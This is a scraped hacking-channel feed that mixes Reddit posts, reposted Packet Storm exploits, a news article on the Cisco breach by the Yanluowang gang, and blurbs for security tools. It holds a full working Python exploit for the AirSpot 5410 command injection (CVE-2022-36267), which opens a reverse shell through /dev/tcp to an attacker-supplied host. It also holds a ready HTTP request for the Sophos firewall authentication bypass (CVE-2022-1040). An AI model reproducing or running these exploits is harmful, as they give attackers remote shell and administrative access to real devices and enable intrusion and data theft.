hacking: security in practice
FedTAFE is offering free self-paced CCNA right now. Offer expires on the 17th.

submitted by /u/PM_ME_PICS_OF_ROB0TS
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Conti extortion gangs behind surge of BazarCall phishing attacks

https://external-preview.redd.it/r0evZTTHiu3HFZer8V5dftb3GGOJL6x7sqvkc2d8b_M.jpg?width=640&crop=smart&auto=webp&s=646a255198653ef43c4d35c892bca44e46c41bfa submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Post was deleted not sure why..??? BIOS password on G8 Elitebook.

Hey,

I am wondering how or is it poss to remove a BIOS password from a 850 G8 HP Elitebook.

Do the AMD an Intel variants of these laptops have the same BIOS chip, Can I use the https://bios-pw.org/ web site for this or must I remove the chip and re-program ?

All help is greatly appreciated,

Cheers,

Jay

submitted by /u/jaymcs76
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
AirSpot 5410 0.3.4.1-4 Remote Command Injection

https://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png
AirSpot 5410 versions 0.3.4.1-4 and below suffer from an unauthenticated remote command injection vulnerability.

SHA-256 | 0453a46f41ec4c59c37a44bb644827c11fe0d7e8677419a16aefa00836c95383

Download
# -*- coding: utf-8 -*-

# Exploit Title: AirSpot unauthenticated remote command injection
# Date: 7/26/2022
# Exploit Author: Samy Younsi (NSLABS) (https://samy.link)
# Vendor Homepage: https://www.airspan.com/
# Software Link: https://wdi.rfwel.com/cdn/techdocs/AirSpot5410.pdf
# Version: 0.3.4.1-4 and under.
# Tested on: Airspan AirSpot 5410 version 0.3.4.1-4 (Ubuntu)
# CVE : CVE-2022-36267

from __future__ import print_function, unicode_literals
import argparse
import requests
import urllib3
urllib3.disable_warnings()

def banner():
airspanLogo = """
,-.
/ \ `. __..-,O
: \ --''_..-'.'
| . .-' `. '.
: . .`.'
\ `. / ..
\ `. ' .
`, `. \
,|,`. `-.\
'.|| ``-...__..-`
| | Airspan
|__| AirSpot 5410
/||\ PWNED x_x
//||\\
// || \\
__//__||__\\__
'--------------'Necrum Security Labs

\033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m \033[1;91mAirSpot 5410 CMD INJECTION\033[1;m
FOR EDUCATIONAL PURPOSE ONLY.
"""
return print('\033[1;94m{}\033[1;m'.format(airspanLogo))

def pingWebInterface(RHOST, RPORT):
url = 'https://{}:{}'.format(RHOST, RPORT)
try:
response = requests.get(url, allow_redirects=False, verify=False, timeout=30)
if response.status_code != 200:
print('[!] \033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\033[1;m')
exit()
print('[INFO] Airspan device web interface seems reachable!')
except:
print('[!] \033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\033[1;m')
exit()
def execReverseShell(RHOST, RPORT, LHOST, LPORT):
payload = '`sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`'.format(LHOST, LPORT)
data = 'Command=pingDiagnostic&targetIP=1.1.1.1{}&packetSize=55&timeOut=10&count=1'.format(payload)
try:
print('[INFO] Executing reverse shell...')
response = requests.post('https://{}:{}/cgi-bin/diagnostics.cgi'.format(RHOST, RPORT), data=data, verify=False)
print("Reverse shell successfully executed. {}:{}".format(LHOST, LPORT))
return
except Exception as e:
print("Reverse shell failed. Make sure the AirSpot 5410 device can reach the host {}:{}").format(LHOST, LPORT)
return False

def main():
banner()
args = parser.parse_args()
pingWebInterface(args.RHOST, args.RPORT)
execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Script PoC that exploit an nauthenticated remote command injection on Airspan AirSpot devices.', add_help=False)
parser.add_argument('--RHOST', help="Refers to the IP of the target machine. (Airspan AirSpot device)", type=str, required=True)
parser.add_argument('--RPORT', help="Refers to the open port of the target machine. (443 by default)", type=int, required=True)
parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)
parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)
main()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Zimbra zmslapd Privilege Escalation

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Webmin Package Updates Command Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Sophos XG115w Firewall 17.0.10 MR-10 Authentication Bypass

https://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png
Sophos XG115w Firewall version 17.0.10 MR-10 suffers from an authentication bypass vulnerability.

SHA-256 | caaaf298385288773c3e71845cbf340e5bbbc9ab2655ac84f91e638760b5551a

Download
# Exploit Title: Sophos XG115w Firewall 17.0.10 MR-10 - Authentication Bypass
# Date: 2022-08-09
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://www.sophos.com
# Version: 17.0.10 MR-10
# Tested on: Windows 11
# CVE : CVE-2022-1040

# [ VULNERABILITY DETAILS ] :

#This vulnerability allows an attacker to gain unauthorized access to the firewall management space by bypassing authentication.

# [ SAMPLE REQUEST ] :

POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066

# [ KEY MODE ] : \u0000eb ,\u0000fc , \u0000 ,\u0000ef ,...

# [ Successful response ] :

HTTP/1.1 200 OK
Date: Thu, 04 Aug 2022 17:06:39 GMT
Server: xxxx
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/plain;charset=utf-8
Content-Length: 53
Set-Cookie: JSESSIONID=1jy5ygk6w0mfu1mxbv6n30ptal108;Path=/webconsole;Secure;HttpOnly
Connection: close

{"redirectionURL":"/webpages/index.jsp","status":200}

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Cisco hacked by Yanluowang ransomware gang, 2.8GB allegedly stolen

Cisco hacked by Yanluowang ransomware gang, 2.8GB allegedly stolenPost Views: 17 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/Patreon-1.png Subscribe to Patreon to watch this episode.
Reading Time: 3 Minutes Cisco confirmed today that the Yanluowang ransomware group breached its corporate network in late May and that the actor tried to extort them under the threat of leaking stolen files online.The company revealed that the attackers could only harvest and steal non-sensitive data from a Box folder linked to a compromised employee’s account.

“Cisco experienced a security incident on our corporate network in late May 2022, and we immediately took action to contain and eradicate the bad actors,” a Cisco spokesperson told BleepingComputer.

“Cisco did not identify any impact to our business as a result of this incident, including Cisco products or services, sensitive customer data or sensitive employee information, intellectual property, or supply chain operations.

“On August 10 the bad actors published a list of files from this security incident to the dark web. We have also implemented additional measures to safeguard our systems and are sharing technical details to help protect the wider security community.”
https://www.bleepstatic.com/images/news/u/1109292/2022/Yanluowang_email_to_Cisco.png
Stolen employee credentials used to breach Cisco’s networkThe Yanluowang threat actors gained access to Cisco’s network using an employee’s stolen credentials after hijacking the employee’s personal Google account containing credentials synced from their browser.

The attacker convinced the Cisco employee to accept multi-factor authentication (MFA) push notifications through MFA fatigue and a series of sophisticated voice phishing attacks initiated by the Yanluowang gang that impersonated trusted support organizations.

The threat actors finally tricked the victim into accepting one of the MFA notifications and gained access to the VPN in the context of the targeted user.

Once they gained a foothold on the company’s corporate network, Yanluowang operators spread laterally to Citrix servers and domain controllers.

“They moved into the Citrix environment, compromising a series of Citrix servers and eventually obtained privileged access to domain controllers,” Cisco Talos said.

After gaining domain admin, they used enumeration tools like ntdsutil, adfind, and secretsdump to collect more information and installed a series of payloads onto compromised systems, including a backdoor.

Ultimately, Cisco detected and evicted them from its environment, but they continued trying to regain access over the following weeks.

“After obtaining initial access, the threat actor conducted a variety of activities to maintain access, minimize forensic artifacts, and increase their level of access to systems within the environment,” Cisco Talos added.

“The threat actor was successfully removed from the environment and displayed persistence, repeatedly attempting to regain access in the weeks following the attack; however, these attempts were unsuccessful.”
Trending: Find Hidden Info using Google Dorking manually, and Automated using Pagodo
Trending: Offensive Security Tool: Offensive-Azure Hackers claim to steal data from CiscoLast week, the threat actor behind the Cisco hack emailed BleepingComputer a directory listing of files allegedly stolen during the attack.

The threat actor claimed to have stolen 2.75GB of data, consisting of approx[...]

___________________________
@hacking_Attack
@Hacking_Video

imately 3,100 files. Many of these files are non-disclosure agreements, data dumps, and engineering drawings.

The threat actors also sent a redacted NDA document stolen in the attack to BleepingComputer as proof of the attack and a “hint” that they breached Cisco’s network and exfiltrated files.
https://www.bleepstatic.com/images/news/u/1109292/2022/Cisco%20proof-of-breach%20document.png
No ransomware deployed on Cisco’s systemsCisco also said that, even though the Yanluowang gang is known for encrypting their victims’ files, it found no evidence of ransomware payloads during the attack.

“While we did not observe ransomware deployment in this attack, the TTPs used were consistent with ‘pre-ransomware activity,’ activity commonly observed leading up to the deployment of ransomware in victim environments,” Cisco Talos added in a separate blog post published on Wednesday.

“We assess with moderate to high confidence that this attack was conducted by an adversary that has been previously identified as an initial access broker (IAB) with ties to the UNC2447 cybercrime gang, Lapsus$ threat actor group, and Yanluowang ransomware operators.”

The Yanluowang gang has also claimed to have recently breached the systems of American retailer Walmart who denied the attack, telling BleepingComputer that it found no evidence of a ransomware attack.
Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?

If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
Source: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/Images-for-the-News-posts-6-300x150.png IDOR vulnerability in Reddit allowed attackers to perform mod actionsAugust 10, 2022
Reading Time: 2 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/Images_for_the_News_posts_2-300x150.png Kali Linux 2022.3 Release (New Tools in Kali & Test Lab)August 10, 2022
Reading Time: 5 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/Images-for-the-News-posts-1-1-300x150.png Twilio discloses data breach after SMS phishing attack on employeesAugust 9, 2022
Reading Time: 3 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/Images-for-the-News-posts-5-300x150.png Researcher bypass email filter – XSS in Gmail’s AMP For EmailAugust 9, 2022
Reading Time: 3 minutes
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!
The post Cisco hacked by Yanluowang ransomware gang, 2.8GB allegedly stolen first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling
https://www.reddit.com/r/redteamsec/comments/wln1x7/browserpowered_desync_attacks_a_new_frontier_in/

submitted by /u/anusec (https://www.reddit.com/user/anusec)
[link] (https://portswigger.net/research/browser-powered-desync-attacks) [comments] (https://www.reddit.com/r/redteamsec/comments/wln1x7/browserpowered_desync_attacks_a_new_frontier_in/)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
LambdaGuard : AWS Serverless Security

LambdaGuard is an event-driven, serverless computing platform provided by Amazon Web Services. It is a computing service that runs code in response to events and automatically manages the computing resources required by that code.

LambdaGuard is an AWS Lambda auditing tool designed to create asset visibility and provide actionable results. It provides a meaningful overview in terms of statistical analysis, AWS service dependencies and configuration checks from the security perspective.

Requirements

* Python 3.6+
* Java 11 (optional for SonarQube)

Install

From PyPI

pip3 install lambdaguard

From Github

git clone https://github.com/Skyscanner/lambdaguard
cd lambdaguard
sudo make install

AWS Access

You will need a set of AWS access keys and permissions to run LambdaGuard.

make aws

Run

* lambdaguard --help
* lambdaguard --function arn:aws:lambda:function
* lambdaguard --input function-arns.txt
* lambdaguard --output /tmp/lambdaguard
* lambdaguard --profile LambdaGuardProfile
* lambdaguard --keys ACCESS_KEY_ID SECRET_ACCESS_KEY
* lambdaguard --region eu-west-1
* lambdaguard --verbose

SonarQube: Static Code Analysis

Download sonar-scanner-cli

* https://github.com/SonarSource/sonar-scanner-cli

Build SonarQube

* make sonarqube

Use SonarQube

* lambdaguard --sonarqube config.json

Config should have the following format:

{
“command”: “sonar-scanner -X”,
“url”: “http://localhost:9000”,
“login”: “admin”,
“password”: “admin”
}

Development

make -B clean
make dev
. dev/bin/activate
make install-dev
make test
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
modDetective : Tool That Chronologizes Files Based On Modification Time In Order To Investigate Recent System Activity

modDetective is a small Python tool that chronologizes files based on modification time in order to investigate recent system activity. This can be used in CTF’s in order to pinpoint where escalation and attack vectors may exist.

To see the tool in its most useful form, try running the command as follows: python3 modDetective.py -i /usr/share,/usr/lib,/lib. This will ignore the /usr/lib, /usr/share, and /lib directories, which tend not to have anything of interest. Also note that by default the “dynamic” directories are ignored (/proc, /sys, /run, /snap, /dev).

What is modDetective Doing?

modDetective is very elementary in how it operates. It simply walks the filesystem, with bounds determined by user specified options (-i is for ignore, meaning the tool will walk every directory EXCEPT for the ones specified in the -i option, and -e is for exclusive, meaning the tool will ONLY walk the directories specified). While walking, it picks up the modification times of each file, then orders these modification times in order to output them chronologically.

Additionally, in the output you will potentially see some files highlighted red. These files are denoted as “Indicators of User Activity,” Since recent modifications to these files indicate that a user is currently active. As of now, these files include .swp files, .bash_history, .python_history and .viminfo. This list will be extended as I brainstorm more files that indicate present user activity.

Requirements

modDetective currently works only with python3; python2 compatability will be completed shortly (hence the lack of f strings). Standard libraries should be fine.
Download

___________________________
@hacking_Attack
@Hacking_Video